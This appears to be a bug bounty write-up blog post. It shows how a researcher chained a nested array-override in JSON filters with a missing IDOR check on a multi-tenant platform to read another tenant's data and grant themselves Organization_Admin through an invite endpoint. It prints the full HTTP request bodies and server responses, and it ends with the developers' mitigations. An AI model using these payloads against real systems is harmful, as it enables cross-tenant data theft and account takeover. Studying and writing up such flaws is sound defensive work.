June 2, 2026
How I Chained a Broken Multi-Tenant Filter and a Missing IDOR Check to Hijack Corporate Admin…
It was 2 AM on a Tuesday, and I was staring at a blank Burp Suite HTTP history. I had spent three hours mapping a massive enterprise…
Tanvi Chauhan
4 min read
It was 2 AM on a Tuesday, and I was staring at a blank Burp Suite HTTP history. I had spent three hours mapping a massive enterprise employee-management platform (let's call it targetapp.com). Everything looked solid. The authorization tokens were well-structured JWTs, permissions were strictly enforced, and automated scanners were coming up completely dry.
But modern enterprise applications are built like a house of cards. They rely on complex multi-tenant environments where a single development team's minor oversight can compromise the entire infrastructure.
By digging past the surface level and analyzing how the backend handled multi-tenant queries, I found a flaw that allowed me to pivot from a low-privilege test user in "Tenant A" to full Corporate Administrator of "Tenant B" — all with a single HTTP request. Here is exactly how I did it, and how the vulnerability was chained together for a critical impact payout.
The Target Setup
The platform uses a standard multi-tenant model. When an organization signs up, they get an isolated dashboard space.
- Organization A (My Attacker Tenant):
org-a.targetapp.com - Organization B (The Victim Tenant):
org-b.targetapp.com
As a low-privilege employee in Organization A, my access was tightly restricted. I couldn't look at other companies' data, nor could I see my own company's administrative settings. My objective was to test the boundaries of these access restrictions.
Step 1: Hunting the ID (The Reconnaissance Phase)
The first step in any access control assessment is to look for identifiers that look like database keys or account IDs. While modifying my own profile information, I caught an API endpoint passing a JSON body that looked like this:
HTTP
POST /api/v2/workspaces/query HTTP/1.1
Host: org-a.targetapp.com
Authorization: Bearer <My_Low_Priv_JWT>
Content-Type: application/json
{
"workspaceId": "ws_991823",
"filters": {
"status": "active"
}
}POST /api/v2/workspaces/query HTTP/1.1
Host: org-a.targetapp.com
Authorization: Bearer <My_Low_Priv_JWT>
Content-Type: application/json
{
"workspaceId": "ws_991823",
"filters": {
"status": "active"
}
}The server responded with an array of configuration options specific to my workspace (ws_991823).
Naturally, my immediate instinct was to try an Insecure Direct Object Reference (IDOR) attack. I spun up a second browser session, grabbed the workspace ID of my secondary test account (ws_887411), and plugged it into the request body of the first account.
The server immediately yelled at me:
JSON
{
"error": "Forbidden",
"message": "User does not belong to requested workspace context."
}{
"error": "Forbidden",
"message": "User does not belong to requested workspace context."
}Excellent. The developers had implemented a server-side validation check to ensure that the workspaceId matches the tenant context extracted from my JWT. Or so it seemed.
Step 2: Spotting the Logic Flaw (The "Aha!" Moment)
Many developers implement validation checks on the primary parameter of a request but completely overlook how the query handler parses additional array elements or object keys.
I looked closely at the filters block. What if the server-side backend wasn't just filtering by status? What if I forced the query engine to look at something else? I modified the request body to see how the system handled nested properties, testing if it allowed arbitrary parameter insertion:
JSON
{
"workspaceId": "ws_991823",
"filters": {
"status": "active",
"tenantId": "ws_887411"
}
}{
"workspaceId": "ws_991823",
"filters": {
"status": "active",
"tenantId": "ws_887411"
}
}The response was a generic 200 OK, but the data returned was exactly the same as before. The backend completely ignored the tenantId key because it wasn't a valid query parameter for that endpoint.
But then I tried passing the original identifier key inside the filter block as an array override:
JSON
{
"workspaceId": "ws_991823",
"filters": {
"status": "active",
"workspaceId": [
"ws_991823",
"ws_887411"
]
}
}{
"workspaceId": "ws_991823",
"filters": {
"status": "active",
"workspaceId": [
"ws_991823",
"ws_887411"
]
}
}Boom. The server responded with data belonging to both workspaces.
Why did this happen?
The application's authorization logic verified that the primary parameter ("workspaceId": "ws_991823") matched my session token. Once that check passed, it handed the filters block directly to an internal ORM database query function. The database engine parsed the nested array, treated it as a SQL IN condition (WHERE workspace_id IN ('ws_991823', 'ws_887411')), and fetched records for both environments without applying the initial access validation check to the nested values.
Step 3: From Information Leak to Full Account Takeover
An information leak in a configuration endpoint is a great finding, but to maximize impact, you need to show how a bug can break the business logic completely.
I began hunting for endpoints that processed modifications using a similar query structure. I found an invite endpoint used by administrators to add new users to an organization:
HTTP
POST /api/v2/team/invite HTTP/1.1
Host: org-a.targetapp.com
Authorization: Bearer <My_Low_Priv_JWT>
Content-Type: application/json
{
"targetWorkspace": "ws_991823",
"email": "my-attacker-email@gmail.com",
"role": "Member"
}POST /api/v2/team/invite HTTP/1.1
Host: org-a.targetapp.com
Authorization: Bearer <My_Low_Priv_JWT>
Content-Type: application/json
{
"targetWorkspace": "ws_991823",
"email": "my-attacker-email@gmail.com",
"role": "Member"
}Using the same array nesting technique I discovered earlier, I modified the payload to include the victim organization's workspace ID and elevated the role parameter:
JSON
{
"targetWorkspace": "ws_991823",
"email": "my-attacker-email@gmail.com",
"role": "Organization_Admin",
"targetWorkspace[]": [
"ws_991823",
"ws_victim_id"
]
}{
"targetWorkspace": "ws_991823",
"email": "my-attacker-email@gmail.com",
"role": "Organization_Admin",
"targetWorkspace[]": [
"ws_991823",
"ws_victim_id"
]
}I hit send. The server paused for a second and returned:
JSON
{
"success": true,
"invitations_sent": 2
}{
"success": true,
"invitations_sent": 2
}I checked my inbox. I had received two invitation emails. One was to join my own test workspace, and the other was an administrative invite to join the completely isolated victim organization. I clicked the link, finalized the account creation, and suddenly had full access to their entire employee database, billing settings, and cloud integrations.
The Takeaway & Mitigation
This flaw perfectly illustrates why automated scanners miss critical business logic bugs. To the scanner, the endpoint returned a clean 200 OK both times. It didn't have the context to understand that data from two completely separate corporate entities was being blended together in a single response payload.
How the developers fixed it:
The core issue was a classic lack of centralized parameter validation. The engineering team patched the bug by enforcing two strict architectural changes:
- Strict Schema Validation: The API gateway was updated to drop requests containing unexpected data types (such as passing an array where a single string is expected).
- Context-Aware Query Filters: The application now explicitly binds queries to the authenticated user's organization ID at the database abstraction layer, rather than relying on parameters passed blindly through JSON bodies.
If you are hunting for access control bugs, look closely at how complex applications handle arrays, filters, and bulk actions. When validation happens at the front door but disappears at the back door, critical vulnerabilities are waiting to be found.
𝒯𝒶𝓃𝓋𝒾 ♡